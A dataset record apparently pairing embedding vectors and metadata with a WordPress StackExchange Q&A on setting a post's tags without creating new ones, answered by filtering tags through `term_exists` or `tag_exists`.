-0.038787841796875, 0.05780029296875, -0.0033550262451171875, -0.0178985595703125, 0.0120697021484375, -0.0143890380859375, 0.00818634033203125, 0.0316162109375, -0.004425048828125, 0.093994140625, -0.00016748905181884766, 0.005462646484375, -0.01227569580078125, -0.00530242919921875, 0.0044708251953125, 0.01387786865234375, -0.062347412109375, 0.005565643310546875, 0.04705810546875, 0.021087646484375, 0.0103302001953125, -0.023590087890625, -0.0060272216796875, 0.0670166015625, 0.0025482177734375, 0.0021419525146484375, 0.0034656524658203125, 0.01494598388671875, 0.049468994140625, 0.01508331298828125, -0.0011472702026367188, -0.016326904296875, -0.03076171875, -0.002532958984375, 0.01230621337890625, -0.023193359375, -0.055816650390625, 0.0303192138671875, -0.025604248046875, 0.02789306640625, -0.061187744140625, -0.056488037109375, 0.012176513671875, 0.0087738037109375, 0.01548004150390625, 0.0297698974609375, 0.01947021484375, -0.02069091796875, 0.0234222412109375, 0.0023288726806640625, -0.019287109375, 0.006183624267578125, 0.0008420944213867188, -0.0302581787109375, -0.01348114013671875, -0.00833892822265625, 0.012603759765625, 0.0268402099609375, -0.0270538330078125, 0.017669677734375, 0.10797119140625, -0.003116607666015625, -0.028076171875, -0.038421630859375, -0.065673828125, -0.04510498046875, -0.0169219970703125, -0.0338134765625, -0.05328369140625, -0.0069427490234375, -0.000751495361328125, -0.032501220703125, 0.0164794921875, 0.01120758056640625, -0.03692626953125, 0.0022907257080078125, 0.00325775146484375, 0.002712249755859375, -0.0285797119140625, 0.022369384765625, 0.034698486328125, -0.005100250244140625, -0.005191802978515625, -0.005970001220703125, -0.01171875, -0.0073394775390625, 0.0024967193603515625, -0.032928466796875, -0.025054931640625, -0.057952880859375, -0.0213775634765625, -0.0163726806640625, 0.0158538818359375, -0.0445556640625, -0.06683349609375, -0.0374755859375, -0.02520751953125, -0.0819091796875, -0.0213623046875, 0.0203399658203125, 0.007534027099609375, 0.01372528076171875, -0.0013494491577148438, 0.0237579345703125, -0.025054931640625, -0.027069091796875, -0.0023250579833984375, 0.0433349609375, -0.03839111328125, -0.042724609375, -0.044677734375, -0.05731201171875, -0.03424072265625, 0.0009937286376953125, 0.00826263427734375, 0.010498046875, -0.0182952880859375, 0.0017757415771484375, 0.01184844970703125, 0.022552490234375, 0.083740234375, 0.0011968612670898438, -0.0196685791015625, -0.0121307373046875, -0.0241851806640625, 0.04437255859375, -0.025390625, 0.00032591819763183594, 0.042724609375, -0.00799560546875, 0.01416778564453125, 0.00959014892578125, -0.0041046142578125, 0.0229034423828125, -0.061614990234375, -0.0199737548828125, 0.041656494140625, -0.0056304931640625, -0.0213165283203125, -0.023834228515625, 0.041961669921875, 0.00812530517578125, 0.06048583984375, -0.046722412109375, -0.0276336669921875, 0.04833984375, 0.032012939453125, -0.036468505859375, 0.0179290771484375, 0.0172271728515625, -0.02191162109375, -0.033172607421875, -0.0230865478515625, -0.04852294921875, 0.019378662109375, 0.06353759765625, -0.01117706298828125, -0.0223236083984375, 0.0178375244140625, 0.01064300537109375, 0.0168304443359375, -0.048553466796875, -0.01029205322265625, -0.0146484375, 0.031036376953125, -0.05029296875, 0.005489349365234375, -0.0169677734375, -0.00760650634765625, 0.004119873046875, 0.0465087890625, -0.043853759765625, -0.0201873779296875, 0.0159759521484375, 0.0281219482421875, 0.00035572052001953125, -0.052093505859375, 0.00466156005859375, -0.03875732421875, -0.015167236328125, 0.0072784423828125, 0.03955078125, -0.0103759765625, -0.035919189453125, 0.04901123046875, -0.046844482421875, 0.00229644775390625, 0.0285491943359375, -0.01274871826171875, 0.01263427734375, 0.0321044921875, -0.00603485107421875, 0.009185791015625, -0.0169219970703125, -0.01611328125, -0.06365966796875, -0.007396697998046875, -0.02276611328125, 0.032470703125, -0.0244598388671875, 0.0207672119140625, -0.0292205810546875, 0.038116455078125, 0.02752685546875, 0.039703369140625, -0.0189208984375, -0.034149169921875, 0.0560302734375, 0.0010786056518554688, -0.01134490966796875, 0.01013946533203125, 0.00318145751953125, 0.019866943359375, -0.029632568359375, 0.1025390625, 0.0026226043701171875, 0.0731201171875, 0.0082550048828125, -0.0251312255859375, -0.04669189453125, -0.048004150390625, -0.0458984375, -0.003139495849609375, -0.0379638671875, 0.00684356689453125, -0.03082275390625, -0.0545654296875, 0.053924560546875, -0.007904052734375, 0.0102996826171875, 0.00001990795135498047, 0.056396484375, -0.009857177734375, -0.0283355712890625, -0.041717529296875, 0.039337158203125, 0.046112060546875, 0.006946563720703125, 0.0364990234375, 0.019134521484375, -0.033355712890625, 0.062286376953125, 0.024749755859375, -0.0094451904296875, 0.03436279296875, -0.0222625732421875, 0.029754638671875, -0.04022216796875, 0.0166168212890625, 0.0299835205078125, -0.028961181640625, 0.00904083251953125, -0.023773193359375, -0.006988525390625, -0.00743865966796875, 0.033416748046875, -0.0170440673828125, 0.023681640625, -0.034210205078125, -0.0287017822265625, 0.02313232421875, -0.019256591796875, -0.04669189453125, -0.0447998046875, 0.0246429443359375, -0.05828857421875, -0.0216217041015625, -0.00832366943359375, 0.036285400390625, 0.0194549560546875, 0.03643798828125, 0.011932373046875, 0.041046142578125, -0.0215301513671875, -0.00969696044921875, -0.01068115234375, 0.033660888671875, 0.0142364501953125, -0.046600341796875, 0.01397705078125, -0.0004324913024902344, 0.016326904296875, 0.020751953125, -0.0032749176025390625, 0.009521484375, 0.001483917236328125, -0.0113677978515625, 0.0193634033203125, 0.0120697021484375, -0.01546478271484375, -0.0023174285888671875, 0.001972198486328125, 0.00753021240234375, 0.001621246337890625, 0.000047266483306884766, 0.0640869140625, -0.0030727386474609375, 0.03338623046875, -0.033050537109375, -0.00823974609375, -0.0272216796875, 0.052093505859375, 0.0233154296875, -0.01551055908203125, -0.00847625732421875, 0.02813720703125, -0.004566192626953125, -0.0035724639892578125, 0.02020263671875, 0.005786895751953125, 0.047515869140625, -0.0616455078125, -0.043304443359375, 0.034393310546875, -0.0648193359375, 0.0038089752197265625, 0.0115203857421875, -0.037109375, -0.04510498046875, -0.0413818359375, -0.04132080078125, 0.017974853515625, -0.046478271484375, -0.03125, 0.0186004638671875, -0.06573486328125, 0.006877899169921875, 0.0092010498046875, -0.006618499755859375, -0.004787445068359375, -0.005840301513671875, -0.00574493408203125, -0.01085662841796875, 0.0171966552734375, -0.043731689453125, -0.004039764404296875, -0.021392822265625, -0.022125244140625, 0.03192138671875, 0.0008893013000488281, -0.001476287841796875, 0.0000782012939453125, -0.02191162109375, 0.01947021484375, 0.00505828857421875, 0.06353759765625, -0.0024394989013671875, -0.00815582275390625, -0.0078277587890625, -0.059234619140625, -0.026336669921875, -0.0248260498046875, -0.0303497314453125, -0.0272216796875, 0.0008716583251953125, -0.0022869110107421875, 0.0173797607421875, -0.007068634033203125, 0.00273895263671875, -0.01123809814453125, 0.022735595703125, 0.0136566162109375, 0.04083251953125, 0.019195556640625, -0.01390838623046875, 0.014068603515625, 0.0131988525390625, 0.0226287841796875, -0.0012750625610351562, -0.007465362548828125, -0.038116455078125, -0.03912353515625, -0.09881591796875, 0.0011014938354492188, 0.0036487579345703125, -0.0303802490234375, 0.1075439453125, 0.056060791015625, 0.0310516357421875, 0.035369873046875, -0.01367950439453125, 0.0099639892578125, -0.00949859619140625, -0.053680419921875, -0.0372314453125, -0.00689697265625, 0.0271759033203125, -0.0103912353515625, 0.05291748046875, -0.0263824462890625, 0.0287017822265625, 0.0245513916015625, -0.048736572265625, 0.047332763671875, -0.0019311904907226562, 0.00115203857421875, -0.005001068115234375, 0.010467529296875, -0.022979736328125, 0.016082763671875, 0.0243377685546875, 0.01506805419921875, -0.007720947265625, -0.0018568038940429688, -0.00676727294921875, 0.005695343017578125, 0.00627899169921875, -0.0163726806640625, 0.01177978515625, -0.0103302001953125, -0.006542205810546875, -0.0126953125, 0.059112548828125, 0.0621337890625, -0.046600341796875, -0.047271728515625, 0.0179595947265625, -0.05706787109375, -0.053863525390625, 0.040924072265625, -0.05950927734375, -0.1175537109375, -0.033203125, 0.005672454833984375, -0.0218353271484375, -0.036529541015625, 0.01531982421875, 0.003154754638671875, -0.004886627197265625, 0.0716552734375, 0.033599853515625, 0.0160980224609375, -0.02386474609375, -0.0070343017578125, 0.022491455078125, -0.051727294921875, 0.0247650146484375, 0.01052093505859375, -0.0114898681640625, -0.0689697265625, 0.033782958984375, 0.019744873046875, -0.01200103759765625, 0.0027599334716796875, -0.0227508544921875, -0.0108184814453125, 0.01715087890625, -0.0330810546875, 0.0019664764404296875, -0.014495849609375, -0.02020263671875, -0.007091522216796875, 0.0184478759765625, 0.024627685546875, -0.017425537109375, -0.005126953125, 0.0161895751953125, -0.036956787109375, -0.0309906005859375, 0.01178741455078125, -0.011749267578125, 0.0131378173828125, -0.0164947509765625, -0.01073455810546875, 0.01482391357421875, 0.012451171875, 0.0203704833984375, 0.005596160888671875, 0.033111572265625, -0.0609130859375, -0.0501708984375, 0.0256500244140625, -0.034393310546875, -0.00133514404296875, 0.0204315185546875, -0.07281494140625, 0.0811767578125, 0.032257080078125, 0.029693603515625, -0.0293731689453125, 0.026214599609375, -0.027130126953125, -0.007904052734375, -0.0263214111328125, 0.00348663330078125, 0.034698486328125, -0.0255889892578125, -0.0081634521484375, 0.00458526611328125, -0.033355712890625, 0.004486083984375, 0.0753173828125, 0.0259857177734375, -0.03741455078125, -0.00955963134765625, 0.034637451171875, 0.01155853271484375, -0.03350830078125, 0.040374755859375, 0.021148681640625, 0.0628662109375, 0.0440673828125, -0.01145172119140625, 0.035552978515625, 0.016510009765625, -0.01666259765625, 0.05548095703125, 0.007106781005859375, 0.0095672607421875, -0.01136016845703125, 0.01325225830078125, -0.038604736328125, -0.005390167236328125, 0.0267486572265625, -0.053253173828125, 0.021514892578125, -0.017974853515625, -0.0008211135864257812, -0.047637939453125, 0.0220184326171875, -0.037628173828125, 0.037872314453125, -0.017486572265625, 0.025482177734375, 0.0404052734375, 0.0033321380615234375, 0.0977783203125, -0.0050506591796875, -0.0003540515899658203, -0.0013036727905273438, 0.06414794921875, 0.01325225830078125, -0.00011563301086425781, 0.0017786026000976562, -0.0267333984375, 0.0687255859375, 0.0279541015625, 0.015960693359375, -0.046875, -0.017791748046875, 0.0210418701171875, 0.02557373046875, -0.00905609130859375, 0.005809783935546875, 0.0288848876953125, 0.010223388671875, 0.034423828125, 0.0006866455078125, -0.00232696533203125, 0.0011930465698242188, 0.053375244140625, -0.004913330078125, -0.013671875, -0.043212890625, -0.016082763671875, -0.058074951171875, 0.032257080078125, 0.018646240234375, 0.09423828125, 0.0165252685546875, 0.07489013671875, -0.05548095703125, -0.048095703125, 0.00835418701171875, -0.024871826171875, -0.0065155029296875, -0.00844573974609375, -0.002696990966796875, 0.0174560546875, -0.015594482421875, 0.0246124267578125, 0.0025482177734375, 0.027923583984375, 0.03192138671875, 0.03607177734375, -0.0035915374755859375, -0.01018524169921875, 0.03668212890625, -0.0207672119140625, -0.0189056396484375, -0.0301361083984375, 0.0176239013671875, 0.0274658203125, -0.0033473968505859375, 0.0116119384765625, 0.024017333984375, 0.0236663818359375, -0.006221771240234375, 0.03009033203125, -0.0021495819091796875, -0.0215911865234375, 0.0190582275390625, -0.0271148681640625, 0.06439208984375, 0.005741119384765625, -0.05889892578125, -0.007232666015625, -0.023406982421875, -0.035858154296875, 0.0186920166015625, 0.040130615234375, 0.01480865478515625, -0.01776123046875, 0.033233642578125, -0.0152130126953125, 0.007091522216796875, 0.0089874267578125, 0.0087127685546875, -0.01279449462890625, 0.025787353515625, -0.0052490234375, -0.01177215576171875, 0.002498626708984375, -0.0220947265625, 0.01824951171875, 0.01338958740234375, 0.04034423828125, -0.01058197021484375, 0.039886474609375, -0.06494140625, 0.01332855224609375, -0.034576416015625, -0.0625, 0.021881103515625, 0.0283355712890625, 0.003650665283203125, 0.0012722015380859375, -0.024078369140625, -0.02081298828125, 0.0185089111328125, -0.048309326171875, -0.03155517578125, -0.0174407958984375, 0.0299224853515625, 0.014129638671875, 0.05706787109375, -0.0184326171875, -0.048797607421875, -0.06622314453125, -0.006893157958984375, 0.04937744140625, 0.045806884765625, -0.027069091796875, 0.044586181640625, -0.033050537109375, -0.002063751220703125, 0.02667236328125, -0.062744140625, 0.009796142578125, 0.0252227783203125, -0.050567626953125, -0.0163421630859375, 0.01511383056640625, -0.0014629364013671875, -0.039276123046875, 0.039337158203125, 0.0134124755859375, 0.004547119140625, 0.00424957275390625, -0.000835418701171875, -0.01111602783203125, 0.03851318359375, -0.0219573974609375, 0.0193939208984375, 0.0074920654296875, 0.0162506103515625, -0.028076171875, -0.0335693359375, -0.0211639404296875, -0.0240631103515625, 0.0047149658203125, 0.01364898681640625, 0.01013946533203125, -0.0419921875, -0.0188446044921875, -0.007099151611328125, 0.0217132568359375, -0.01259613037109375, -0.002872467041015625, -0.0029888153076171875, -0.01377105712890625, -0.0147552490234375, -0.02301025390625, -0.06182861328125, 0.01873779296875, -0.0019311904907226562, -0.022552490234375, -0.009002685546875, -0.04693603515625, -0.02392578125, -0.028839111328125, -0.002902984619140625, 0.0029163360595703125, 0.00524139404296875, -0.004329681396484375, 0.004329681396484375, 0.0019702911376953125, 0.0360107421875, 0.0016727447509765625, -0.03271484375, 0.0155792236328125, -0.021026611328125, -0.037506103515625, -0.06732177734375, 0.041351318359375, -0.134033203125, -0.044891357421875, -0.00469970703125, -0.009918212890625, 0.0099945068359375, -0.05487060546875, -0.12646484375, 0.0765380859375, -0.031890869140625, -0.034942626953125, -0.032623291015625, 0.00988006591796875, 0.008880615234375, -0.018096923828125, -0.01263427734375, -0.0081634521484375, -0.03912353515625, -0.00634765625, -0.002849578857421875, 0.0200042724609375, 0.02130126953125, -0.04833984375, -0.018707275390625, 0.0022296905517578125, 0.03375244140625, 0.008544921875, 0.009368896484375, -0.01390838623046875, 0.0088348388671875, 0.003948211669921875, -0.047332763671875, -0.03173828125, -0.0198974609375, 0.016845703125, -0.01476287841796875, -0.1031494140625, 0.0191802978515625, -0.0307769775390625, 0.057281494140625, -0.056488037109375, 0.00241851806640625, -0.006885528564453125, -0.00902557373046875, 0.0029697418212890625, -0.02606201171875, -0.0062255859375, 0.01461029052734375, -0.0679931640625, -0.0219573974609375, -0.004322052001953125, -0.0160675048828125, -0.023651123046875, -0.01953125, -0.057830810546875, -0.023773193359375, -0.05755615234375, -0.00453948974609375, -0.045989990234375, -0.0274810791015625, 0.034149169921875, -0.0259857177734375, -0.03369140625, 0.0010576248168945312, 0.03314208984375, -0.01236724853515625, 0.0021076202392578125, -0.049530029296875, 0.00214385986328125, 0.0212249755859375, -0.0135955810546875, 0.0019969940185546875, -0.02130126953125, 0.053741455078125, 0.0298919677734375, 0.0006461143493652344, 0.00970458984375, -0.008209228515625, -0.0031719207763671875, -0.0276031494140625, 0.0300445556640625, 0.0015916824340820312, 0.006038665771484375, 0.025238037109375, 0.053436279296875, 0.0157012939453125, 0.0269012451171875, -0.045379638671875, -0.0192718505859375, -0.0474853515625, -0.0205230712890625, 0.0284423828125, -0.00768280029296875, 0.03717041015625, -0.01153564453125, -0.0010328292846679688, -0.050262451171875, 0.001483917236328125, 0.005146026611328125 ]
c2290e18f51b86d620c34d5eb9bf1515c1caaf7e
Wordpress Stackexchange Q: Set tags for a post - without tag creation I can use wp_set_post_tags to set tags for a post. According to documentation, Every tag that does not already exist will be automatically created I don't want to automatically create tag if tag does not exit? So is there any function can I use? A: OK, so you have something like this: $new_tags = array( 'tag1', 'tag2', 'tag3' ); wp_set_post_tags( $post_ID, $new_tags ); If you want to add only tags that already exist, then you have to filter your tags array: $new_tags = array( 'tag1', 'tag2', 'tag3' ); $existing_tags = array(); foreach ( $new_tags as $t ) { if ( term_exists( $t, 'post_tag' ) ) { $existing_tags[] = $t; } } wp_set_post_tags( $post_ID, $existing_tags ); Or a shorter version: $new_tags = array( 'tag1', 'tag2', 'tag3' ); wp_set_post_tags( $post_ID, array_filter( $new_tags, 'tag_exists' ) );
Q: Set tags for a post - without tag creation I can use wp_set_post_tags to set tags for a post. According to documentation, Every tag that does not already exist will be automatically created I don't want to automatically create tag if tag does not exit? So is there any function can I use? A: OK, so you have something like this: $new_tags = array( 'tag1', 'tag2', 'tag3' ); wp_set_post_tags( $post_ID, $new_tags ); If you want to add only tags that already exist, then you have to filter your tags array: $new_tags = array( 'tag1', 'tag2', 'tag3' ); $existing_tags = array(); foreach ( $new_tags as $t ) { if ( term_exists( $t, 'post_tag' ) ) { $existing_tags[] = $t; } } wp_set_post_tags( $post_ID, $existing_tags ); Or a shorter version: $new_tags = array( 'tag1', 'tag2', 'tag3' ); wp_set_post_tags( $post_ID, array_filter( $new_tags, 'tag_exists' ) );
wordpress
{ "language": "en", "length": 143, "provenance": "stackexchange_00019.jsonl.gz:487875", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309071" }
[ 0.08056640625, -0.0025043487548828125, 0.0198211669921875, -0.004962921142578125, 0.049102783203125, -0.0333251953125, 0.0933837890625, -0.04547119140625, -0.0100250244140625, 0.0023860931396484375, -0.044464111328125, 0.0045013427734375, -0.01361846923828125, -0.0117950439453125, -0.0016651153564453125, -0.044189453125, 0.034088134765625, -0.056427001953125, -0.0007925033569335938, -0.007511138916015625, 0.0252532958984375, 0.01131439208984375, 0.03857421875, 0.04254150390625, 0.02337646484375, -0.01617431640625, 0.0014781951904296875, -0.00121307373046875, 0.0024051666259765625, -0.005908966064453125, 0.0286865234375, -0.00007712841033935547, 0.03118896484375, 0.01052093505859375, -0.0426025390625, -0.014739990234375, -0.0226593017578125, 0.003330230712890625, -0.00830841064453125, 0.0149078369140625, 0.03131103515625, -0.0091552734375, 0.041229248046875, 0.032196044921875, 0.025909423828125, -0.031463623046875, 0.042022705078125, -0.0677490234375, 0.0259552001953125, -0.0543212890625, 0.01515960693359375, 0.00830841064453125, 0.030609130859375, -0.048858642578125, -0.03759765625, -0.0102996826171875, -0.004253387451171875, -0.00949859619140625, 0.0548095703125, -0.0306549072265625, -0.048858642578125, -0.0419921875, 0.0294647216796875, -0.00946807861328125, 0.010406494140625, -0.00015115737915039062, 0.015594482421875, 0.01812744140625, -0.07513427734375, 0.004581451416015625, 0.0657958984375, -0.056671142578125, -0.018310546875, -0.0085601806640625, -0.007755279541015625, 0.01065826416015625, 0.017120361328125, 0.00428009033203125, -0.0120391845703125, 0.027923583984375, 0.048370361328125, -0.001495361328125, 0.0394287109375, -0.017303466796875, 0.00628662109375, -0.0180206298828125, 0.005565643310546875, -0.0080718994140625, -0.039337158203125, -0.0546875, -0.0426025390625, -0.037261962890625, -0.060516357421875, -0.0113983154296875, -0.00702667236328125, -0.0264739990234375, 0.015625, 0.05535888671875, -0.0192413330078125, 0.035400390625, -0.03375244140625, -0.039398193359375, 0.051910400390625, -0.059844970703125, 0.021392822265625, 0.05682373046875, -0.029083251953125, -0.03057861328125, 0.01861572265625, 0.025909423828125, 0.006237030029296875, -0.03021240234375, 0.0057220458984375, -0.0018091201782226562, -0.0479736328125, -0.010589599609375, -0.025848388671875, -0.01041412353515625, -0.0102691650390625, -0.01126861572265625, 0.0009713172912597656, 0.041717529296875, -0.0615234375, 0.04144287109375, 0.0231170654296875, 0.0377197265625, 0.0256500244140625, -0.0208740234375, -0.0016050338745117188, -0.0130157470703125, -0.0311126708984375, 0.031341552734375, 0.09967041015625, 0.0253143310546875, 0.00823211669921875, -0.0067596435546875, 0.00035762786865234375, -0.03924560546875, -0.04541015625, 0.03021240234375, 0.007061004638671875, -0.05255126953125, -0.010345458984375, -0.0279693603515625, 0.041748046875, 0.0396728515625, 0.03045654296875, 0.00042438507080078125, -0.0024509429931640625, -0.03338623046875, 0.043792724609375, -0.0303802490234375, 0.0285491943359375, 0.0030193328857421875, -0.040069580078125, -0.0283050537109375, -0.0088958740234375, -0.018768310546875, 0.01056671142578125, -0.042327880859375, 0.016571044921875, -0.018218994140625, -0.006496429443359375, -0.0122222900390625, -0.040435791015625, 0.0236663818359375, -0.020843505859375, 0.0029449462890625, 0.022369384765625, 0.00901031494140625, 0.01531219482421875, -0.00510406494140625, 0.046173095703125, -0.00030541419982910156, -0.014068603515625, -0.001392364501953125, 0.006000518798828125, 0.007465362548828125, 0.030609130859375, 0.004100799560546875, -0.0182952880859375, -0.02667236328125, 0.04278564453125, -0.01328277587890625, -0.09832763671875, 0.0250701904296875, -0.007404327392578125, 0.09527587890625, 0.0721435546875, 0.018341064453125, 0.01751708984375, -0.06341552734375, -0.06060791015625, 0.020111083984375, 0.0292510986328125, -0.011993408203125, -0.035400390625, -0.0159149169921875, 0.01248931884765625, -0.0275421142578125, -0.01399993896484375, 0.01544189453125, -0.010894775390625, 0.005847930908203125, -0.0216522216796875, -0.00872039794921875, -0.010009765625, 0.03564453125, -0.0239410400390625, 0.0157318115234375, 0.0262451171875, -0.022735595703125, 0.007442474365234375, -0.0217742919921875, -0.003082275390625, -0.021392822265625, -0.0138092041015625, -0.0000527501106262207, -0.0005106925964355469, 0.00835418701171875, 0.038330078125, -0.00559234619140625, 0.0152740478515625, 0.01406097412109375, 0.043701171875, -0.01067352294921875, -0.00412750244140625, -0.0177764892578125, 0.0157470703125, 0.0276641845703125, -0.0546875, -0.00743865966796875, 0.0254058837890625, 0.0196380615234375, -0.0355224609375, -0.01268768310546875, 0.0073699951171875, -0.031280517578125, 0.0049591064453125, 0.05230712890625, 0.0199432373046875, 0.0399169921875, -0.0222625732421875, -0.00665283203125, 0.06640625, 0.0004780292510986328, 0.01605224609375, -0.0188446044921875, 0.004756927490234375, 0.02178955078125, 0.020477294921875, 0.0045013427734375, 0.016998291015625, -0.040283203125, 0.019012451171875, 0.030914306640625, -0.036712646484375, -0.01140594482421875, 0.031951904296875, -0.04443359375, 0.0007724761962890625, -0.04437255859375, -0.0014438629150390625, -0.03924560546875, 0.07611083984375, -0.0020885467529296875, 0.04620361328125, 0.02740478515625, -0.033447265625, 0.01739501953125, 0.0021305084228515625, -0.0230255126953125, 0.00902557373046875, 0.0252227783203125, -0.049591064453125, 0.04534912109375, -0.0305633544921875, 0.0061187744140625, 0.0232696533203125, 0.01117706298828125, -0.0209503173828125, 0.0631103515625, 0.0300140380859375, -0.013885498046875, -0.03741455078125, -0.0421142578125, 0.0106048583984375, -0.0169677734375, -0.0295257568359375, -0.03515625, 0.0010833740234375, 0.00116729736328125, -0.04644775390625, 0.0215911865234375, 0.0068511962890625, -0.0131988525390625, -0.035797119140625, -0.06195068359375, 0.04693603515625, -0.027496337890625, 0.08050537109375, 0.09344482421875, 0.004425048828125, 0.033477783203125, 0.0177459716796875, 0.031494140625, 0.0242767333984375, 0.0072174072265625, -0.01145172119140625, 0.00449371337890625, -0.04583740234375, -0.02056884765625, 0.0206146240234375, 0.037567138671875, -0.025634765625, -0.044342041015625, -0.0142669677734375, 0.00440216064453125, -0.0467529296875, -0.0159759521484375, 0.06787109375, -0.0219268798828125, -0.039581298828125, -0.0263519287109375, -0.0276641845703125, -0.0215301513671875, -0.0150604248046875, -0.029083251953125, -0.0687255859375, 0.00856781005859375, -0.02728271484375, -0.052581787109375, -0.043487548828125, 0.01277923583984375, -0.0113677978515625, 0.0201263427734375, 0.01560211181640625, 0.07421875, 0.0167999267578125, -0.038482666015625, 0.0282440185546875, -0.0194854736328125, -0.038238525390625, 0.020111083984375, 0.0136566162109375, -0.0015697479248046875, 0.02935791015625, 0.009307861328125, 0.0014543533325195312, 0.029296875, -0.01885986328125, -0.03472900390625, -0.021331787109375, -0.0003910064697265625, 0.00939178466796875, 0.001949310302734375, 0.016876220703125, 0.0322265625, 0.0186767578125, -0.01390838623046875, 0.013885498046875, 0.006336212158203125, -0.0101318359375, 0.034393310546875, -0.029327392578125, -0.0126800537109375, 0.005588531494140625, 0.0169677734375, -0.0099639892578125, -0.015777587890625, 0.03668212890625, -0.0018100738525390625, 0.018280029296875, -0.0218658447265625, -0.0411376953125, -0.033172607421875, 0.00434112548828125, -0.026153564453125, 0.043670654296875, -0.00293731689453125, 0.00038886070251464844, -0.0345458984375, 0.0210113525390625, -0.0775146484375, -0.0117645263671875, 0.018310546875, -0.0281524658203125, 0.03240966796875, -0.044219970703125, -0.0188446044921875, -0.039215087890625, 0.04443359375, -0.027679443359375, -0.01097869873046875, -0.03515625, 0.0222625732421875, -0.015716552734375, -0.07952880859375, 0.01158905029296875, -0.01514434814453125, -0.032470703125, -0.0017957687377929688, -0.016387939453125, -0.01556396484375, -0.01654052734375, 0.005588531494140625, -0.0132293701171875, -0.00766754150390625, 0.0275421142578125, -0.0236968994140625, 0.015777587890625, -0.0221099853515625, 0.0201873779296875, -0.05316162109375, -0.01409149169921875, -0.004375457763671875, -0.044189453125, 0.013641357421875, -0.054412841796875, -0.0006437301635742188, 0.01947021484375, 0.0030040740966796875, 0.004047393798828125, 0.0132293701171875, 0.026336669921875, 0.0104522705078125, 0.0088348388671875, 0.0185699462890625, -0.01093292236328125, -0.045013427734375, 0.00537872314453125, -0.044921875, -0.033660888671875, -0.02996826171875, 0.00567626953125, 0.06549072265625, -0.00807952880859375, 0.04644775390625, -0.0089569091796875, 0.00213623046875, -0.0209503173828125, -0.0338134765625, -0.01276397705078125, 0.0198516845703125, -0.0173797607421875, 0.01275634765625, -0.0413818359375, -0.03314208984375, 0.042755126953125, 0.0129241943359375, -0.007694244384765625, 0.0094146728515625, 0.08233642578125, 0.0109100341796875, -0.0250244140625, -0.06634521484375, 0.01593017578125, 0.032470703125, 0.01232147216796875, 0.0126953125, -0.01198577880859375, -0.029052734375, 0.042572021484375, 0.00759124755859375, -0.0014600753784179688, 0.01300811767578125, 0.024383544921875, -0.01910400390625, -0.030029296875, 0.0235595703125, -0.0302734375, 0.00922393798828125, 0.0151824951171875, -0.0020236968994140625, -0.0053253173828125, 0.0384521484375, 0.0225982666015625, -0.01372528076171875, -0.0244598388671875, -0.023040771484375, -0.027374267578125, 0.01221466064453125, 0.0859375, -0.03680419921875, 0.0197906494140625, 0.01039886474609375, -0.0226593017578125, -0.026641845703125, 0.00899505615234375, -0.0225067138671875, -0.023529052734375, 0.0027408599853515625, 0.0191650390625, -0.01064300537109375, 0.00252532958984375, -0.0077362060546875, -0.003185272216796875, 0.037322998046875, -0.00672149658203125, -0.040313720703125, -0.0014247894287109375, -0.01314544677734375, 0.032196044921875, 0.0268707275390625, -0.0082855224609375, 0.017791748046875, 0.0140228271484375, -0.0009274482727050781, 0.00897979736328125, -0.0241851806640625, -0.007526397705078125, -0.033447265625, -0.026397705078125, 0.0266571044921875, -0.033477783203125, 0.01239776611328125, 0.02777099609375, -0.00042176246643066406, 0.0270843505859375, -0.01096343994140625, -0.00113677978515625, -0.012939453125, 0.023773193359375, 0.0360107421875, -0.02410888671875, -0.00270843505859375, -0.0021495819091796875, 0.0017681121826171875, -0.0472412109375, -0.018218994140625, 0.035919189453125, 0.033111572265625, -0.01279449462890625, -0.031707763671875, 0.0272064208984375, -0.0003883838653564453, 0.00010061264038085938, 0.0026988983154296875, -0.0235595703125, -0.00991058349609375, -0.031951904296875, 0.0023021697998046875, 0.048553466796875, -0.0025196075439453125, -0.007511138916015625, 0.0233154296875, -0.01117706298828125, 0.0338134765625, -0.01409912109375, 0.014862060546875, -0.01105499267578125, -0.0180206298828125, -0.0085601806640625, -0.03509521484375, -0.0251312255859375, 0.0157318115234375, 0.00860595703125, -0.02471923828125, -0.031280517578125, 0.0292510986328125, -0.03497314453125, 0.031463623046875, 0.0037784576416015625, -0.023223876953125, 0.01528167724609375, 0.01450347900390625, 0.0312042236328125, 0.01763916015625, -0.0266265869140625, -0.00247955322265625, -0.07012939453125, -0.0196533203125, -0.01702880859375, -0.03533935546875, -0.0230560302734375, 0.00860595703125, 0.03619384765625, 0.0194091796875, -0.0124359130859375, -0.06109619140625, -0.0177154541015625, 0.005268096923828125, 0.027679443359375, 0.0231170654296875, -0.01187896728515625, -0.00917816162109375, 0.0004470348358154297, 0.00545501708984375, -0.00927734375, -0.0303802490234375, 0.007244110107421875, -0.0163421630859375, 0.003070831298828125, -0.06182861328125, -0.0241241455078125, 0.01023101806640625, -0.0204620361328125, 0.0261688232421875, 0.0233306884765625, -0.001708984375, 0.035430908203125, -0.0309600830078125, 0.00760650634765625, -0.0002620220184326172, 0.01079559326171875, -0.0309600830078125, -0.0115203857421875, 0.08343505859375, 0.00948333740234375, 0.0152435302734375, -0.0186920166015625, 0.01528167724609375, -0.0180816650390625, -0.005359649658203125, 0.0007643699645996094, -0.0190887451171875, -0.0155181884765625, 0.012176513671875, 0.0019044876098632812, -0.0150146484375, 0.0220947265625, -0.0096282958984375, 0.00366973876953125, 0.0147552490234375, -0.019744873046875, -0.0295257568359375, -0.010772705078125, 0.0628662109375, 0.0190887451171875, 0.0104827880859375, 0.0810546875, -0.0248565673828125, -0.04266357421875, 0.0294189453125, -0.0056304931640625, -0.0228729248046875, -0.0244293212890625, -0.0034732818603515625, -0.004993438720703125, -0.027496337890625, 0.0132904052734375, -0.01201629638671875, -0.0248870849609375, 0.046356201171875, -0.032073974609375, 0.0113525390625, 0.029327392578125, -0.007633209228515625, -0.0170440673828125, -0.0216522216796875, 0.0167083740234375, 0.02471923828125, -0.0178680419921875, 0.048614501953125, 0.01605224609375, 0.0186004638671875, -0.01468658447265625, 0.0106353759765625, -0.007144927978515625, -0.0291595458984375, -0.07818603515625, 0.0030517578125, -0.002696990966796875, -0.0135040283203125, -0.0205230712890625, -0.0253143310546875, 0.0283966064453125, 0.0204925537109375, -0.00798797607421875, -0.03131103515625, 0.001697540283203125, -0.047149658203125, -0.09075927734375, -0.03497314453125, 0.026031494140625, 0.034576416015625, 0.0009074211120605469, 0.051788330078125, 0.01036834716796875, -0.080078125, -0.003692626953125, -0.001438140869140625, 0.0433349609375, 0.0010433197021484375, 